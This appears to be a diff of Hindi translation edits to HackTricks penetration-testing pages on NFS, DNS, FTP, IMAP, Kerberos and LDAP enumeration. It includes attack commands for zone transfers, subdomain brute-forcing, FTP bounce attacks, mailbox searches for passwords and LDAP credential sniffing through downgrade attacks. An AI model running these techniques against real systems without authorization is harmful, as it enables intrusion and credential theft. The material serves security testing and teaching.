यदि आप एक फ़ोल्डर माउंट करते हैं जिसमें **फाइलें या फ़ोल्डर हैं जो केवल कुछ उपयोगकर्ता द्वारा एक्सेस किए जा सकते हैं** (द्वारा **UID**)। आप **स्थानीय रूप से** उस **UID** के साथ एक उपयोगकर्ता बना सकते हैं और उस **उपयोगकर्ता** का उपयोग करके आप फ़ाइल/फ़ोल्डर को **एक्सेस** कर सकेंगे।
यदि आप एक फ़ोल्डर माउंट करते हैं जिसमें **फाइलें या फ़ोल्डर केवल कुछ उपयोगकर्ता द्वारा पहुँच योग्य हैं** (द्वारा **UID**)। आप **स्थानीय रूप से** उस **UID** के साथ एक उपयोगकर्ता **बना सकते हैं** और उस **उपयोगकर्ता** का उपयोग करके आप फ़ाइल/फ़ोल्डर **एक्सेस** कर सकेंगे।
## NSFShell

View File

@ -3,9 +3,9 @@
{{#include ../banners/hacktricks-training.md}}
## **बुनियादी जानकारी**
## **मूल जानकारी**
**डोमेन नाम प्रणाली (DNS)** इंटरनेट की निर्देशिका के रूप में कार्य करती है, जिससे उपयोगकर्ता **याद रखने में आसान डोमेन नामों** जैसे google.com या facebook.com के माध्यम से वेबसाइटों तक पहुँच सकते हैं, बजाय इसके कि वे संख्यात्मक इंटरनेट प्रोटोकॉल (IP) पतों का उपयोग करें। डोमेन नामों को IP पतों में अनुवाद करके, DNS सुनिश्चित करता है कि वेब ब्राउज़र तेजी से इंटरनेट संसाधनों को लोड कर सकें, जिससे हम ऑनलाइन दुनिया में नेविगेट करना सरल हो जाता है।
**डोमेन नाम प्रणाली (DNS)** इंटरनेट की निर्देशिका के रूप में कार्य करती है, जिससे उपयोगकर्ता **याद रखने में आसान डोमेन नामों** जैसे google.com या facebook.com के माध्यम से वेबसाइटों तक पहुँच सकते हैं, बजाय इसके कि वे संख्यात्मक इंटरनेट प्रोटोकॉल (IP) पत का उपयोग करें। डोमेन नामों को IP पतों में अनुवाद करके, DNS सुनिश्चित करता है कि वेब ब्राउज़र इंटरनेट संसाधनों को तेजी से लोड कर सकें, जिससे हम ऑनलाइन दुनिया में नेविगेट करना सरल हो जाता है।
**डिफ़ॉल्ट पोर्ट:** 53
```
@ -18,12 +18,12 @@ PORT STATE SERVICE REASON
- **DNS रूट सर्वर**: ये DNS पदानुक्रम के शीर्ष पर होते हैं, शीर्ष-स्तरीय डोमेन का प्रबंधन करते हैं और केवल तब हस्तक्षेप करते हैं जब निम्न-स्तरीय सर्वर प्रतिक्रिया नहीं देते। इंटरनेट कॉर्पोरेशन फॉर असाइनड नेम्स एंड नंबर (**ICANN**) उनके संचालन की देखरेख करता है, जिनकी वैश्विक संख्या 13 है।
- **अधिकार प्राप्त नाम सर्वर**: ये सर्वर अपने निर्दिष्ट क्षेत्रों में प्रश्नों के लिए अंतिम निर्णय लेते हैं, निश्चित उत्तर प्रदान करते हैं। यदि वे उत्तर प्रदान नहीं कर सकते, तो प्रश्न को रूट सर्वरों पर बढ़ा दिया जाता है।
- **गैर-अधिकार प्राप्त नाम सर्वर**: DNS क्षेत्रों पर स्वामित्व की कमी के कारण, ये सर्वर अन्य सर्वरों से प्रश्नों के माध्यम से डोमेन जानकारी एकत्र करते हैं।
- **कैशिंग DNS सर्वर**: इस प्रकार का सर्वर पिछले प्रश्नों के उत्तरों को एक निश्चित समय के लिए याद रखता है ताकि भविष्य के अनुरोधों के लिए प्रतिक्रिया समय को तेज किया जा सके, जिसमें कैश अवधि अधिकार प्राप्त सर्वर द्वारा निर्धारित की जाती है।
- **फॉरवर्डिंग सर्वर**: एक सीधा कार्य करते हुए, फॉरवर्डिंग सर्वर बस प्रश्नों को दूसरे सर्वर पर भेजते हैं।
- **गैर-अधिकार प्राप्त नाम सर्वर**: DNS क्षेत्रों पर स्वामित्व की कमी के कारण, ये सर्वर अन्य सर्वरों के लिए प्रश्नों के माध्यम से डोमेन जानकारी एकत्र करते हैं।
- **कैशिंग DNS सर्वर**: इस प्रकार का सर्वर पिछले प्रश्नों के उत्तरों को एक निर्धारित समय के लिए याद रखता है ताकि भविष्य के अनुरोधों के लिए प्रतिक्रिया समय को तेज किया जा सके, जिसमें कैश अवधि अधिकार प्राप्त सर्वर द्वारा निर्धारित की जाती है।
- **फॉरवर्डिंग सर्वर**: एक सीधा कार्य करते हुए, फॉरवर्डिंग सर्वर केवल प्रश्नों को दूसरे सर्वर पर भेजते हैं।
- **रिज़ॉल्वर**: कंप्यूटर या राउटर में एकीकृत, रिज़ॉल्वर स्थानीय रूप से नाम समाधान करते हैं और इन्हें अधिकार प्राप्त नहीं माना जाता है।
## एन्यूमरेशन
## गणना
### **बैनर ग्रैबिंग**
@ -40,13 +40,13 @@ dig version.bind CHAOS TXT @DNS
```
### **कोई रिकॉर्ड**
रिकॉर्ड **ANY** DNS सर्वर से **वापस** सभी उपलब्ध **प्रविष्टियों** को **लौटाने** के लिए कहेगा जो **वह प्रकट करने के लिए तैयार है**
रिकॉर्ड **ANY** DNS सर्वर से **सभी उपलब्ध** **एंट्रीज़** **वापस** करने के लिए कहेगा जो **वह प्रकट करने के लिए तैयार है**
```bash
dig any victim.com @<DNS_IP>
```
### **Zone Transfer**
यह प्रक्रिया को `Asynchronous Full Transfer Zone` (`AXFR`) के रूप में संक्षिप्त किया गया है।
यह प्रक्रिया को संक्षिप्त रूप में `Asynchronous Full Transfer Zone` (`AXFR`) कहा जाता है।
```bash
dig axfr @<DNS_IP> #Try zone transfer without domain
dig axfr @<DNS_IP> <DOMAIN> #Try zone transfer guessing the domain
@ -82,7 +82,7 @@ nslookup
```bash
auxiliary/gather/enum_dns #Perform enumeration actions
```
### उपयोगी nmap स्क्रिप्ट
### उपयोगी nmap स्क्रिप्ट्स
```bash
#Perform enumeration actions
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>
@ -95,11 +95,11 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
```
> [!NOTE]
> यदि आप आंतरिक IP-पते पर हल करने वाले उपडोमेन खोजने में सक्षम हैं, तो आपको उस IP रेंज के लिए NSs से एक रिवर्स DNS BF करने का प्रयास करना चाहिए।
> यदि आप आंतरिक IP-पते को हल करने वाले उपडोमेन खोजने में सक्षम हैं, तो आपको उस IP रेंज के लिए NSs से एक रिवर्स DNS BF करने का प्रयास करना चाहिए।
इसे करने के लिए एक और उपकरण: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
आप रिवर्स IP रेंज क क्वेरी कर सकते हैं [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (यह उपकरण BGP के साथ भी सहायक है)।
आप रिवर्स IP रेंज के लिए क्वेरी कर सकते हैं [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (यह उपकरण BGP के साथ भी सहायक है)।
### DNS - उपडोमेन BF
```bash
@ -130,14 +130,14 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
```bash
dnsdict6 -s -t <domain>
```
IPv6 पते का उपयोग करके रिवर्स DNS पर ब्रूटफोर्स
IPv6 पते का उपयोग करके रिवर्स DNS पर ब्रूटफोर्स करें
```bash
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
```
### DNS पुनरावृत्ति DDoS
यदि **DNS पुनरावृत्ति सक्षम** है, तो एक हमलावर **UDP पैकेट में मूल** को **स्पूफ** कर सकता है ताकि **DNS प्रतिक्रिया को पीड़ित सर्वर** पर भेज सके। एक हमलावर **ANY** या **DNSSEC** रिकॉर्ड प्रकारों का दुरुपयोग कर सकता है क्योंकि उनके पास बड़े उत्तर होते हैं।\
यह **जांचने** का तरीका कि क्या एक DNS **पुनरावृत्ति** का समर्थन करता है, एक डोमेन नाम को क्वेरी करना और **जांचना** है कि क्या **"ra" फ्लैग** (_पुनरावृत्ति उपलब्ध_) प्रतिक्रिया में है:
यह **जांचने** का तरीका कि क्या एक DNS **पुनरावृत्ति** का समर्थन करता है, एक डोमेन नाम को क्वेरी करना और **जांचना** है कि क्या **"ra" ध्वज** (_पुनरावृत्ति उपलब्ध_) प्रतिक्रिया में है:
```bash
dig google.com A @<IP>
```
@ -152,11 +152,11 @@ dig google.com A @<IP>
### Mail to nonexistent account
**एक गैर-मौजूद पते पर ईमेल भेजना** पीड़ित के डोमेन का उपयोग करके पीड़ित को एक गैर-डिलीवरी सूचना (NDN) संदेश भेजने के लिए प्रेरित कर सकता है, जिसके **हेडर** में **आंतरिक सर्वरों के नाम और IP पते** जैसी दिलचस्प जानकारी हो सकती है।
**एक गैर-मौजूद पते पर ईमेल भेजना** पीड़ित के डोमेन का उपयोग करके पीड़ित को एक नॉनडिलीवरी नोटिफिकेशन (NDN) संदेश भेजने के लिए प्रेरित कर सकता है, जिसके **हेडर** में **आंतरिक सर्वरों के नाम और IP पते** जैसी दिलचस्प जानकारी हो सकती है।
## Post-Exploitation
- जब Bind सर्वर की कॉन्फ़िगरेशन की जांच करें, तो **`allow-transfer`** पैरामीटर की कॉन्फ़िगरेशन की जांच करें क्योंकि यह दर्शाता है कि ज़ोन ट्रांसफर कौन कर सकता है और **`allow-recursion`** और **`allow-query`** की जांच करें क्योंकि यह दर्शाता है कि कौन पुनरावर्ती अनुरोध और अनुरोध भेज सकता है।
- जब Bind सर्वर की कॉन्फ़िगरेशन की जांच करें, तो **`allow-transfer`** पैरामीटर की कॉन्फ़िगरेशन की जांच करें क्योंकि यह बताता है कि ज़ोन ट्रांसफर कौन कर सकता है और **`allow-recursion`** और **`allow-query`** की जांच करें क्योंकि यह बताता है कि कौन पुनरावर्ती अनुरोध और अनुरोध भेज सकता है।
- निम्नलिखित DNS से संबंधित फ़ाइलों के नाम हैं जो मशीनों के अंदर खोजने के लिए दिलचस्प हो सकते हैं:
```
host.conf
@ -167,12 +167,12 @@ host.conf
/etc/bind/named.conf.log
/etc/bind/*
```
## संदर्भ
## References
- [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/)
- पुस्तक: **नेटवर्क सुरक्षा मूल्यांकन 3रा संस्करण**
- पुस्तक: **Network Security Assessment 3rd edition**
## HackTricks स्वचालित आदेश
## HackTricks Automatic Commands
```
Protocol_Name: DNS #Protocol Abbreviation if there is one.
Port_Number: 53 #Comma separated if there is more than one.

View File

@ -33,7 +33,7 @@ The **FTP** commands **`debug`** and **`trace`** can be used to see **how is the
nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
```
### FTP से starttls का उपयोग करके कनेक्ट करें
### STARTTLS का उपयोग करके FTP से कनेक्ट करें
```
lftp
lftp :~> set ftp:ssl-force true
@ -130,29 +130,29 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
- **`USER username`**
- **`PASS password`**
- **`HELP`** सर्वर यह संकेत करता है कि कौन से कमांड समर्थित हैं
- **`PORT 127,0,0,1,0,80`** यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ कनेक्शन स्थापित करने के लिए संकेत देगा (_आपको 5वां अक्षर "0" और 6वां पोर्ट दशमलव में डालना होगा या 5वें और 6वें का उपयोग करके पोर्ट को हेक्स में व्यक्त करना होगा_)।
- **`EPRT |2|127.0.0.1|80|`** यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ एक TCP कनेक्शन स्थापित करने के लिए संकेत देगा (_"2" द्वारा संकेतित_)। यह कमांड **IPv6 का समर्थन करता है**
- **`HELP`** सर्वर यह बताता है कि कौन से कमांड समर्थित हैं
- **`PORT 127,0,0,1,0,80`** यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ कनेक्शन स्थापित करने के लिए संकेत देगा (_आपको 5वां अक्षर "0" और 6वां दशमलव में पोर्ट के रूप में रखना होगा या पोर्ट को हेक्स में व्यक्त करने के लिए 5वां और 6वां उपयोग करना होगा_)।
- **`EPRT |2|127.0.0.1|80|`** यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ TCP कनेक्शन स्थापित करने के लिए संकेत देगा (_"2" द्वारा संकेतित_)। यह कमांड **IPv6 का समर्थन करता है**
- **`LIST`** यह वर्तमान फ़ोल्डर में फ़ाइलों की सूची भेजेगा
- **`LIST -R`** पुनरावृत्त सूची (यदि सर्वर द्वारा अनुमति दी गई हो)
- **`APPE /path/something.txt`** यह FTP को **पैसिव** कनेक्शन या **PORT/EPRT** कनेक्शन से प्राप्त डेटा को एक फ़ाइल में संग्रहीत करने के लिए संकेत देगा। यदि फ़ाइल का नाम मौजूद है, तो यह डेटा को जोड़ देगा।
- **`STOR /path/something.txt`** `APPE` की तरह लेकिन यह फ़ाइलों को अधिलेखित करेगा
- **`STOU /path/something.txt`** `APPE` की तरह, लेकिन यदि मौजूद है तो यह कुछ नहीं करेगा।
- **`RETR /path/to/file`** एक पैसिव या पोर्ट कनेक्शन स्थापित करना आवश्यक है। फिर, FTP सर्वर उस कनेक्शन के माध्यम से निर्दिष्ट फ़ाइल भेजेगा
- **`REST 6`** यह सर्वर को संकेत देगा कि अगली बार जब वह कुछ भेजेगा `RETR` का उपयोग करके, तो उसे 6वें बाइट से शुरू करना चाहिए।
- **`REST 6`** यह सर्वर को संकेत देगा कि अगली बार जब वह कुछ भेजेगा `RETR` का उपयोग करते हुए, तो उसे 6वें बाइट से शुरू करना चाहिए।
- **`TYPE i`** ट्रांसफर को बाइनरी पर सेट करें
- **`PASV`** यह एक पैसिव कनेक्शन खोलेगा और उपयोगकर्ता को संकेत देगा कि वह कहाँ कनेक्ट कर सकता है
- **`PASV`** यह एक पैसिव कनेक्शन खोलेगा और उपयोगकर्ता को बताएगा कि वह कहाँ कनेक्ट कर सकता है
- **`PUT /tmp/file.txt`** निर्दिष्ट फ़ाइल को FTP पर अपलोड करें
![](<../../images/image (386).png>)
## FTPBounce हमला
कुछ FTP सर्वर PORT कमांड की अनुमति देते हैं। इस कमांड का उपयोग सर्वर को यह संकेत देने के लिए किया जा सकता है कि आप किसी अन्य FTP सर्वर से किसी पोर्ट पर कनेक्ट करना चाहते हैं। फिर, आप इसका उपयोग यह स्कैन करने के लिए कर सकते हैं कि किसी होस्ट के कौन से पोर्ट खुले हैं FTP सर्वर के माध्यम से।
कुछ FTP सर्वर कमांड PORT की अनुमति देते हैं। इस कमांड का उपयोग सर्वर को यह संकेत देने के लिए किया जा सकता है कि आप किसी अन्य FTP सर्वर से किसी पोर्ट पर कनेक्ट करना चाहते हैं। फिर, आप इसका उपयोग यह स्कैन करने के लिए कर सकते हैं कि किसी होस्ट के कौन से पोर्ट खुले हैं FTP सर्वर के माध्यम से।
[**यहाँ जानें कि FTP सर्वर का दुरुपयोग करके पोर्ट कैसे स्कैन करें।**](ftp-bounce-attack.md)
आप इस व्यवहार का दुरुपयोग करके FTP सर्वर को अन्य प्रोटोकॉल के साथ इंटरैक्ट करवा सकते हैं। आप **HTTP अनुरोध** वाला एक फ़ाइल अपलोड कर सकते हैं और कमजोर FTP सर्वर को **इसे किसी मनमाने HTTP सर्वर पर भेजने** के लिए मजबूर कर सकते हैं (_शायद एक नया व्यवस्थापक उपयोगकर्ता जोड़ने के लिए?_) या यहां तक कि एक FTP अनुरोध अपलोड कर सकते हैं और कमजोर FTP सर्वर को किसी अन्य FTP सर्वर के लिए एक फ़ाइल डाउनलोड करने के लिए मजबूर कर सकते हैं।\
आप इस व्यवहार का दुरुपयोग करके FTP सर्वर को अन्य प्रोटोकॉल के साथ इंटरैक्ट करवा सकते हैं। आप **HTTP अनुरोध** वाला एक फ़ाइल अपलोड कर सकते हैं और कमजोर FTP सर्वर को **इसे किसी मनमाने HTTP सर्वर पर भेजने** के लिए मजबूर कर सकते हैं (_शायद एक नया व्यवस्थापक उपयोगकर्ता जोड़ने के लिए?_) या यहां तक कि एक FTP अनुरोध अपलोड कर सकते हैं और कमजोर FTP सर्वर को किसी अन्य FTP सर्वर के लिए फ़ाइल डाउनलोड करने के लिए मजबूर कर सकते हैं।\
सिद्धांत आसान है:
1. **कमजोर सर्वर पर अनुरोध (एक टेक्स्ट फ़ाइल के अंदर) अपलोड करें।** याद रखें कि यदि आप किसी अन्य HTTP या FTP सर्वर से बात करना चाहते हैं तो आपको `0x0d 0x0a` के साथ पंक्तियों को बदलना होगा
@ -193,9 +193,9 @@ vsFTPd की डिफ़ॉल्ट कॉन्फ़िगरेशन `/et
- `anon_mkdir_write_enable=YES`
- `anon_root=/home/username/ftp` - गुमनाम के लिए निर्देशिका।
- `chown_uploads=YES` - गुमनाम रूप से अपलोड की गई फ़ाइलों के स्वामित्व को बदलें
- `chown_username=username` - उपयोगकर्ता जिसे गुमनाम रूप से अपलोड की गई फ़ाइलों का स्वामित्व दिया गया है
- `chown_username=username` - गुमनाम रूप से अपलोड की गई फ़ाइलों का स्वामित्व प्राप्त करने वाला उपयोगकर्ता
- `local_enable=YES` - स्थानीय उपयोगकर्ताओं को लॉगिन करने की अनुमति दें
- `no_anon_password=YES` - गुमनाम से पासवर्ड के लिए न पूछें
- `no_anon_password=YES` - गुमनाम से पासवर्ड नहीं पूछें
- `write_enable=YES` - कमांड की अनुमति दें: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, और SITE
### Shodan

View File

@ -2,9 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
## इंटरनेट संदेश पहुंच प्रोटोकॉल
## Internet Message Access Protocol
**इंटरनेट संदेश पहुंच प्रोटोकॉल (IMAP)** का उद्देश्य उपयोगकर्ताओं को **किसी भी स्थान से अपने ईमेल संदेशों तक पहुचने** में सक्षम बनाना है, मुख्य रूप से इंटरनेट कनेक्शन के माध्यम से। वास्तव में, ईमेल **एक सर्वर पर बनाए रखे जाते हैं** बजाय इसके कि उन्हें डाउनलोड किया जाए और किसी व्यक्ति के व्यक्तिगत उपकरण पर संग्रहीत किया जाए। इसका मतलब है कि जब किसी ईमेल को एक्सेस या पढ़ा जाता है, तो यह **सर्वर से सीधे** किया जाता है। यह क्षमता **कई उपकरणों** से ईमेल की जांच करने की सुविधा प्रदान करती है, यह सुनिश्चित करते हुए कि किसी भी उपकरण का उपयोग करने पर कोई संदेश छूट न जाए।
**इंटरनेट मैसेज एक्सेस प्रोटोकॉल (IMAP)** का उद्देश्य उपयोगकर्ताओं को **किसी भी स्थान से अपने ईमेल संदेशों तक पहुचने** में सक्षम बनाना है, मुख्य रूप से इंटरनेट कनेक्शन के माध्यम से। वास्तव में, ईमेल **एक सर्वर पर बनाए रखे जाते हैं** बजाय इसके कि उन्हें डाउनलोड किया जाए और किसी व्यक्ति के व्यक्तिगत डिवाइस पर संग्रहीत किया जाए। इसका मतलब है कि जब किसी ईमेल को एक्सेस या पढ़ा जाता है, तो यह **सर्वर से सीधे** किया जाता है। यह क्षमता **कई उपकरणों** से ईमेल चेक करने की सुविधा प्रदान करती है, यह सुनिश्चित करते हुए कि किसी भी उपकरण का उपयोग करने पर कोई संदेश छूट न जाए।
डिफ़ॉल्ट रूप से, IMAP प्रोटोकॉल दो पोर्ट पर काम करता है:
@ -101,7 +101,7 @@ curl -k 'imaps://1.2.3.4/' --user user:pass
```bash
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
```
इस खोज का परिणाम संदेश अनुक्रमांक की एक सूची है।
इस खोज का परिणाम संदेश अनुक्रमों की एक सूची है।
यह अधिक जटिल खोज शर्तें प्रदान करना भी संभव है। उदाहरण के लिए, मेल बॉडी में पासवर्ड के साथ ड्राफ्ट के लिए खोज करना:
```bash

View File

@ -8,7 +8,7 @@
**Active Directory** जैसे वातावरण में, **Kerberos** उपयोगकर्ताओं की पहचान स्थापित करने में महत्वपूर्ण है, उनके गुप्त पासवर्डों को मान्य करके। यह प्रक्रिया सुनिश्चित करती है कि प्रत्येक उपयोगकर्ता की पहचान की पुष्टि की जाती है इससे पहले कि वे नेटवर्क संसाधनों के साथ बातचीत करें। हालाँकि, **Kerberos** अपनी कार्यक्षमता को विशिष्ट संसाधनों या सेवाओं पर उपयोगकर्ता के पास अधिकारों का मूल्यांकन या प्रवर्तन करने तक नहीं बढ़ाता। इसके बजाय, यह उपयोगकर्ताओं को प्रमाणित करने का एक सुरक्षित तरीका प्रदान करता है, जो सुरक्षा प्रक्रिया में एक महत्वपूर्ण पहला कदम है।
**Kerberos** द्वारा प्रमाणीकरण के बाद, संसाधनों तक पहुँच के संबंध में निर्णय लेने की प्रक्रिया नेटवर्क के भीतर व्यक्तिगत सेवाओं को सौंप दी जाती है। ये सेवाएँ फिर प्रमाणित उपयोगकर्ता के अधिकारों और अनुमतियों का मूल्यांकन करने के लिए जिम्मेदार होती हैं, जो **Kerberos** द्वारा उपयोगकर्ता के विशेषाधिकारों के बारे में प्रदान की गई जानकारी के आधार पर होती हैं। यह डिज़ाइन उपयोगकर्ताओं की पहचान को प्रमाणित करने और उनके पहुँच अधिकारों का प्रबंधन करने के बीच चिंताओं का विभाजन करने की अनुमति देता है, जिससे वितरित नेटवर्क में संसाधन प्रबंधन के लिए एक अधिक लचीला और सुरक्षित दृष्टिकोण सक्षम होता है।
**Kerberos** द्वारा प्रमाणीकरण के बाद, संसाधनों तक पहुँच के संबंध में निर्णय लेने की प्रक्रिया नेटवर्क के भीतर व्यक्तिगत सेवाओं को सौंप दी जाती है। ये सेवाएँ फिर प्रमाणित उपयोगकर्ता के अधिकारों और अनुमतियों का मूल्यांकन करने के लिए जिम्मेदार होती हैं, जो **Kerberos** द्वारा उपयोगकर्ता के विशेषाधिकारों के बारे में प्रदान की गई जानकारी के आधार पर होती हैं। यह डिज़ाइन उपयोगकर्ताओं की पहचान को प्रमाणित करने और उनके पहुँच अधिकारों का प्रबंधन करने के बीच चिंताओं के विभाजन की अनुमति देता है, जिससे वितरित नेटवर्क में संसाधन प्रबंधन के लिए एक अधिक लचीला और सुरक्षित दृष्टिकोण सक्षम होता है।
**Default Port:** 88/tcp/udp
```

View File

@ -4,9 +4,9 @@
**LDAP** (लाइटवेट डायरेक्टरी एक्सेस प्रोटोकॉल) का उपयोग मुख्य रूप से विभिन्न संस्थाओं जैसे संगठनों, व्यक्तियों और नेटवर्क के भीतर फ़ाइलों और उपकरणों जैसे संसाधनों को खोजने के लिए किया जाता है, चाहे वे सार्वजनिक हों या निजी। यह अपने पूर्ववर्ती, DAP की तुलना में एक सरल दृष्टिकोण प्रदान करता है, जिसमें कोड का आकार छोटा होता है।
LDAP निर्देशिकाएँ इस तरह से संरचित होती हैं कि उन्हें कई सर्वरों में वितरित किया जा सके, प्रत्येक सर्वर में निर्देशिका का एक **प्रतिलिपि** और **समन्वयित** संस्करण होता है, जिसे डायरेक्टरी सिस्टम एजेंट (DSA) कहा जाता है। अनुरोधों को संभालने की जिम्मेदारी पूरी तरह से LDAP सर्वर पर होती है, जो आवश्यकतानुसार अन्य DSAs के साथ संवाद कर सकता है ताकि अनुरोधकर्ता को एकीकृत प्रतिक्रिया प्रदान की जा सके।
LDAP निर्देशिकाएँ इस तरह से संरचित होती हैं कि उन्हें कई सर्वरों के बीच वितरित किया जा सके, प्रत्येक सर्वर में निर्देशिका का एक **प्रतिलिपि** और **समन्वयित** संस्करण होता है, जिसे डायरेक्टरी सिस्टम एजेंट (DSA) कहा जाता है। अनुरोधों को संभालने की जिम्मेदारी पूरी तरह से LDAP सर्वर पर होती है, जो आवश्यकतानुसार अन्य DSAs के साथ संवाद कर सकता है ताकि अनुरोधकर्ता को एकीकृत प्रतिक्रिया प्रदान की जा सके।
LDAP निर्देशिका का संगठन एक **पेड़ की संरचना की तरह है, जो शीर्ष पर रूट निर्देशिका से शुरू होता है**। यह देशों में शाखा करता है, जो आगे संगठनों में विभाजित होते हैं, और फिर विभिन्न विभाजनों या विभागों का प्रतिनिधित्व करने वाले संगठनात्मक इकाइयों तक पहुँचता है, अंततः व्यक्तियों के स्तर तक पहुँचता है, जिसमें लोग और साझा संसाधन जैसे फ़ाइलें और प्रिंटर शामिल हैं।
LDAP निर्देशिका का संगठन एक **पेड़ की संरचना की तरह है, जो शीर्ष पर रूट निर्देशिका से शुरू होता है**। यह देशों में शाखा करता है, जो आगे संगठनों में विभाजित होते हैं, और फिर विभिन्न विभाजनों या विभागों का प्रतिनिधित्व करने वाले संगठनात्मक इकाइयों तक पहुँचता है, अंततः व्यक्तिगत संस्थाओं के स्तर तक पहुँचता है, जिसमें लोग और साझा संसाधन जैसे फ़ाइलें और प्रिंटर शामिल हैं।
**डिफ़ॉल्ट पोर्ट:** 389 और 636(ldaps)। ग्लोबल कैटलॉग (LDAP in ActiveDirectory) डिफ़ॉल्ट रूप से पोर्ट 3268 और 3269 पर LDAPS के लिए उपलब्ध है।
```
@ -68,7 +68,7 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
यदि LDAP को SSL के बिना उपयोग किया जाता है, तो आप नेटवर्क में **स्पष्ट पाठ में क्रेडेंशियल्स को स्निफ़** कर सकते हैं।
इसके अलावा, आप नेटवर्क में **LDAP सर्वर और क्लाइंट के बीच** एक **MITM** हमला कर सकते हैं। यहाँ आप एक **डाउनग्रेड अटैक** कर सकते हैं ताकि क्लाइंट **स्पष्ट पाठ में क्रेडेंशियल्स** का उपयोग करके लॉगिन करे।
इसके अलावा, आप नेटवर्क में **LDAP सर्वर और क्लाइंट के बीच** एक **MITM** हमला कर सकते हैं। यहाँ आप एक **डाउनग्रेड अटैक** कर सकते हैं ताकि क्लाइंट **स्पष्ट पाठ में क्रेडेंशियल्स** का उपयोग करके लॉगिन कर सके।
**यदि SSL का उपयोग किया जाता है**, तो आप ऊपर बताए गए अनुसार **MITM** करने की कोशिश कर सकते हैं लेकिन एक **झूठा प्रमाणपत्र** पेश करके, यदि **उपयोगकर्ता इसे स्वीकार करता है**, तो आप प्रमाणीकरण विधि को डाउनग्रेड करने में सक्षम होते हैं और फिर से क्रेडेंशियल्स देख सकते हैं।
@ -87,7 +87,7 @@ ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
## मान्य क्रेडेंशियल्स
यदि आपके पास LDAP सर्वर में लॉगिन करने के लिए मान्य क्रेडेंशियल्स हैं, तो आप निम्नलिखित का उपयोग करके डोमेन एडमिन के बारे में सभी जानकारी निकाल सकते हैं:
यदि आपके पास LDAP सर्वर में लॉगिन करने के लिए मान्य क्रेडेंशियल्स हैं, तो आप निम्नलिखित का उपयोग करके डोमेन एडमिन के बारे में सभी जानकारी डंप कर सकते हैं:
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
```bash
@ -100,7 +100,7 @@ ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authty
### Automated
इसका उपयोग करके आप **सार्वजनिक जानकारी** (जैसे डोमेन नाम)**:** देख सकेंगे:
इसका उपयोग करके आप **सार्वजनिक जानकारी** (जैसे डोमेन नाम)**:** देख सकेंगे
```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```
@ -112,7 +112,7 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
आप **python का उपयोग करके क्रेडेंशियल्स के साथ या बिना LDAP को सूचीबद्ध करने** की कोशिश कर सकते हैं: `pip3 install ldap3`
पहले **क्रेडेंशियल्स के बिना** कनेक्ट करने की कोशिश करें:
पहले **बिना** क्रेडेंशियल्स के **कनेक्ट करने** की कोशिश करें:
```bash
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
@ -121,7 +121,7 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
True
>>> server.info
```
यदि प्रतिक्रिया `True` है जैसे कि पिछले उदाहरण में, आप LDAP से कुछ **दिलचस्प डेटा** प्राप्त कर सकते हैं (जैसे **नामकरण संदर्भ** या **डोमेन नाम**) सर्वर से:
यदि प्रतिक्रिया `True` है जैसे कि पिछले उदाहरण में, तो आप LDAP से कुछ **दिलचस्प डेटा** प्राप्त कर सकते हैं (जैसे **नामकरण संदर्भ** या **डोमेन नाम**) सर्वर से:
```bash
>>> server.info
DSA info (from DSE):
@ -129,7 +129,7 @@ Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
```
एक बार जब आपके पास नामकरण संदर्भ हो, तो आप कुछ और रोमांचक क्वेरी बना सकते हैं। यह सरल क्वेरी आपको निर्देशिका में सभी वस्तुओं को दिखान चाहिए:
एक बार जब आपके पास नामकरण संदर्भ हो, तो आप कुछ और रोमांचक प्रश्न पूछ सकते हैं। यह सरल प्रश्न आपको निर्देशिका में सभी वस्तुओं को दिखान चाहिए:
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
@ -160,7 +160,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
```
### ldapsearch
शून्य क्रेडेंशियल्स की जांच करें या यदि आपके क्रेडेंशियल्स मान्य हैं:
खाली क्रेडेंशियल्स की जांच करें या यदि आपके क्रेडेंशियल्स मान्य हैं:
```bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
@ -201,7 +201,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY
```bash
